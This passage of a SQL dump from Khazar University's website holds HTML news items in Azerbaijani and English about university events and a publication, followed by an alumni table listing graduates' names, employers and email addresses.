edirik.</p>\r\n<p>&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:247.8pt;text-indent:35.4pt\"\"=\"\"><strong>Xəzər\r\nUniversitetinin kollektivi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:247.8pt;text-indent:35.4pt\"\"=\"\"><strong>&nbsp;27 may 2017-ci il</strong></p>'),(3408,2003,'az','Xəzər Universiteti əməkdaşının məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Ədəbi tənqiddə estetik nəzəriyyə (Ədəbi tənqiddə estetik meyarların...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Ədəbi tənqiddə estetik nəzəriyyə (Ədəbi tənqiddə estetik meyarların&nbsp;təhlili)” (ingilis dilində) (<em>“Aesthetic Theory in Literary Criticism (Analysıs of Aesthetic Criterion in Lıterary Crıtıque)”</em><strong>&nbsp;</strong>adlı elmi məqaləsi Azərbaycan Respublikası Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Sumqayıt Dövlət Universitetinin “Elmi xəbərlər” jurnalının “Sosial və humanitar elmlər bölməsi”nin 1-ci buraxılışında çap edilmişdir.&nbsp;<br></p><p>Məqalədə ədəbi tənqiddə estetik nəzəriyyə, ədəbi tənqiddə estetik meyarın təhlili araşdırılmış, bu mövzuda aparılmış tədqiqatlar və məhşur alimlərim fikir və görüşləri də məqalədə yer almışdır.</p><p>Məqalənin tam şəkildə PDF formatda burada oxumaq olar:&nbsp;&nbsp;<a href=\"http://www.khazar.org/files/pdf/events/Meqale.pdf.PDF\">Meqale.pdf</a>.&nbsp;</p>'),(3409,1994,'en','Second Erasmus+ AESOP project meeting held at Khazar University','On March 16-17, 2017, a meeting of the regional partner universities of the “Advocacy Establishment for Students through Ombudsman Position (AESOP)” Erasmus + project...','<p>On March 16-17, 2017, a meeting of the regional\r\npartner universities of the “Advocacy Establishment for Students through\r\nOmbudsman Position (AESOP)” Erasmus + project took place at Khazar University.\r\nKhazar University President Hassan Niknafs opened the meeting with a welcome\r\nspeech. Other speeches were made by Prof. George Gavtadze, rector of Akaki Tsereteli\r\nState University; Prof Kakha Shengelia, rector of Caucasus University; Yashar\r\nOmarov, Senior Advisor of Ministry of Education of Azerbaijan; and Parviz\r\nBagirov, Head of the National Erasmus + Office in Azerbaijan. During the\r\nmeeting, the representatives of the partner universities made brief\r\npresentations on the results of the needs assessment conducted at the partner\r\nuniversities; future goals and plans were extensively discussed. </p>\r\n<p>Khazar University President Hassan Niknafs had\r\none-on-one meetings with Prof. George Gavtadze and Prof. Kakha Shengelia.\r\nDuring the meetings, further development of partnership between the\r\nuniversities, including the provision for various exchange programs and joint\r\nprojects (seminars, conferences, and summer schools) was discussed.</p>\r\n<p>At the end of the event, the representatives of the\r\npartner universities visited the Palace of the Shirvanshahs. Khazar University\r\nstudents guided the guests in the Old City (İçəri Şəhər) and gave detailed\r\ninformation about its history.&nbsp;<strong></strong></p>'),(2456,1486,'en','Potential School Directors Project Continues','The Potential School Directors project which began at Khazar University in September 2014 with the financial support of UNICEF and the Ministry of Education is back...','<p>The Potential School Directors project which began\r\nat Khazar University in September 2014 with the financial support of UNICEF and\r\nthe Ministry of Education is back by popular demand, continuing its activities\r\nwith a fifth iteration of the course including 43 participants. A decision to\r\ncontinue the course was made by taking into consideration the experience of\r\nKhazar University in this course, the successful history of the project, and\r\nthe high number of educators who have completed the course as well as Section\r\n1.27 of&nbsp; Khazar University’s Regulations. Classes in the project are held\r\nthree times a week at Khazar University’s Neftchilar Campus. 323 people have\r\nalready graduated from the course, which is very helpful for participants’\r\ndevelopment.&nbsp;</p>'),(2671,1602,'az','BP-nin əməkdaşları Xəzər Universitetinin tələbələri ilə görüşdülər','Xəbər verildiyi kimi, 2016-cı il noyabrın 23-də “British Petroleum” (BP) şirkəti ilə Xəzər Universitetinin tələbələri arasında görüş keçirilmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbər verildiyi kimi, 2016-cı il\r\nnoyabrın 23-də “British Petroleum” (BP) şirkəti ilə Xəzər Universitetinin tələbələri\r\narasında görüş keçirilmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu haqda <strong><em>tehsil-press </em></strong>İnformasiya\r\nAgentliyinin rəsmi internet səhifəsində də xəbər yayılmışdır. Xəbəri tam şəkildə\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<a href=\"http://tehsil-press.az/index.php?newsid=15254#Kalibri\">http://tehsil-press.az/index.php?newsid=15254</a>.');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (2460,1489,'az','Məzunlar haqqında məlumat bazası','Məzunlar haqqında məlumat bazası','<table class=\"tablestil\">\r\n <tbody><tr><td>&nbsp;<img src=\"/files/alumni/images/akif_m.jpg\" style=\"border:0px #000000;vertical-align:middle;width:160px;height:173px\"></td><td><p><strong>Akif Məmmədov</strong></p><p>Humanitar və Sosial Elmlər fakültəsi</p><p>İngilis dili üzrə tərcümə ixtisası (2005-2009)</p><p>MEGABIZ PETROCHEMICAL PRODUCTS OF INDUSTRY AND TRADE\r\nINCORPORATED GROUP OF COMPANIES</p><p>Marketinq ve satış Direktoru</p><p>E- mail: <a href=\"http://mailto:akif.memmedov.87@mail.ru\">akif.memmedov.87@mail.ru</a>  </p></td></tr><tr class=\"tablestil\">\r\n  <td>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>&nbsp;<img src=\"/files/alumni/images/Xumar%20H%C3%BCseynova.jpg\" style=\"border:0px  #000000;width:150px;height:200px;float:left\"></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Xumar\r\n  Hüseynova</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kompüter Mühəndisliyi və Menecment ixtisası üzrə</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Xəzər Universitetində, İqtisadiyyat və Menecment\r\n  fakültəsində müəllim (Əməliyyatların idarə edilməsi)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azərbaycan Respublikası Mərkəzi Bankı, İnsan Resursları\r\n  departamenti, Təhsil və inkişaf&nbsp; şöbəsinin\r\n  rəisi</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:Khumar.huseynova@khazar.org\">Khumar.huseynova@khazar.org</a>; <a href=\"mailto:Xumar_Huseynova@cbar.az\">Xumar_Huseynova@cbar.az</a>; <a href=\"mailto:kh301@student.le.ac.uk\">kh301@student.le.ac.uk</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Magistr 2002</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/scan%20gunel%201.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">G</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ü</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">nel</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"> </span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">R</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ə</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">sulova</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\"></span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kompüter Elmləri</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəzər Universiteti,&nbsp;Məlumatların\r\nanalizi üzrə mütəxəssis -&nbsp;2014</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəzər Universiteti, Internet Təhsil Mərkəzi (2015-2016)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:gunelrasulova@gmail.com/\">gunelrasulova@gmail.com&nbsp;</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;2009-2013</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/aytekin_nebisoy.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ayt</strong><strong>ə</strong><strong>kin Nəbisoy</strong>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kompüter mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Unibank İT&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailtoInabisoyaytekin@gmail.com/\">nabisoyaytekin@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;-&nbsp;2009-2014</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr –&nbsp;Xəzər\r\nUniversiteti</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Aysel_Bashirova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td> <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Aysel</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"> </span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">B</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">əş</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">irova</span></strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\"></span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kompüter mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank BTB</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"http://touch.mail.ru/compose/?mailto=mailto%3akhazar_189@mail.ru\" target=\"_blank\">khazar_189@mail.ru</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012 Fərqlənmə</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Eldar_Mansimov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Eldar</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"> </span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">M</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ə</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">nsimov</span></strong><span style=\"font-family:Arial, sans-serif;color:#252525\">&nbsp;</span><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\"></span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neftvə Qazmühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR- Qazmamühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eldarmansimov@gmail.com\">eldarmansimov@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008-2013&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr 2017-2019 Sakarya\r\nUniversiteti,Türkiyə-Geofizika Mühəndisliyi</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Javid_Hajizadeh.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Cavid</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"> </span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Hac</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ı</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">zad</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ə</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft və Qaz mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azertexnolayn (Polad Boru Zavodu)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Keyfiyyətə nəzarət üzrə mühəndis</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:engineer_hajizadeh@mail.ru\">engineer_hajizadeh@mail.ru</a>&nbsp;,&nbsp;&nbsp;<a href=\"mailto:cavid.hacizade@azertexnolayn.com\">Cavid.Hacizade@azertexnolayn.com</a>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012 Bakalavr</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magistr : ADNSU&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Kanan_Khasmammadov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">K</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ə</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">nan</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"> </span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Xasm</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ə</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">mm</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">ə</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">dov&nbsp;</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\"></span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft və Qaz mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:kanan.khasmammadov@gmail.com\">kanan.khasmammadov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;&nbsp;2009-2013&nbsp;</p><p><strong><a href=\"mailto:kanan.khasmammadov@gmail.com\"></a></strong></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Samir_Amanov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">Samir Amanov &nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəzər Universiteti/İT departamenti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:sam.amanov@gmail.com\">sam.amanov@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:sam.amanov@gmail.com\"></a>Bakalavr 2015</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/javid_gurbanov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Cavid</span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\"> </span></strong><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Qurbanov&nbsp;</span></strong><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\"></span></strong></p><p>Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR , FSSA&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Deck Boss -&nbsp;Geokinetics Inc&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MSc. Neft mühəndisliyi (2013-2014 , Heriot- Watt Universiteti , BB Şotlandiya,\r\nEdinburq)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr&nbsp;2008-\r\n2012&nbsp;</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:57.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>&nbsp;<img src=\"/files/alumni/images/ahmadov_ramal.jpg\" style=\"width:150px;height:200px;float:left\"></strong></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:57.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Ramal Əhmədov </strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mühəndislik və Tətbiqi Elmlər&nbsp;fakültəsi,    </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Demirbank Asc\r\n  Baş Ofis Qrup rəhbəri</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:ahmadov.r@gmail.com\">ahmadov.r@gmail.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2008</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/muzeffer_necefquliyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>Müzəffər Nəcəf-Quliyev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Mühəndislik və Tətbiqi Elmlər&nbsp;fakültəsi,  </p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Silk Way Avia Şirkəti/İT departamenti</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:<a href=\"mailto:najafquliyev@gmail.com\">najafquliyev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bakalavr 2015</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Magistr: Milli Aviasiya Akademiyası Kompüter Mühəndisliyi</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Jeffy_George.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Jeffy&nbsp;George&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik&nbsp;və Tətbiqi&nbsp;Elmlər&nbsp;fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Neft mühəndisliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ABS Group&nbsp;/ Qatar&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:jeffy143@gmail.com\">jeffy143@gmail.com</a>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sattar_Amrahov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Səttar Əmrahov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər&nbsp;fakültəsi, İnformatika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lab Service mühəndis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Settar216@gmail.com\">Settar216@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Zahra_Khudaverdiyeva.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Zəhra Xudaverdiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühəndislik və Tətbiqi Elmlər&nbsp;fakültəsi,&nbsp;Kompüter Mühəndisliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azecolab Keyfiyyət üzrə mütəxəssis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:zehra.khudaverdiyeva@gmail.com\">zehra.khudaverdiyeva@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Magistr Fəxri 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Narmin_Gumbatova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Nərmin Hümbətova</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maliyyə/BBA &amp; General MBA&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Aparıcı mühasib / &nbsp;Azersun Holding&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a 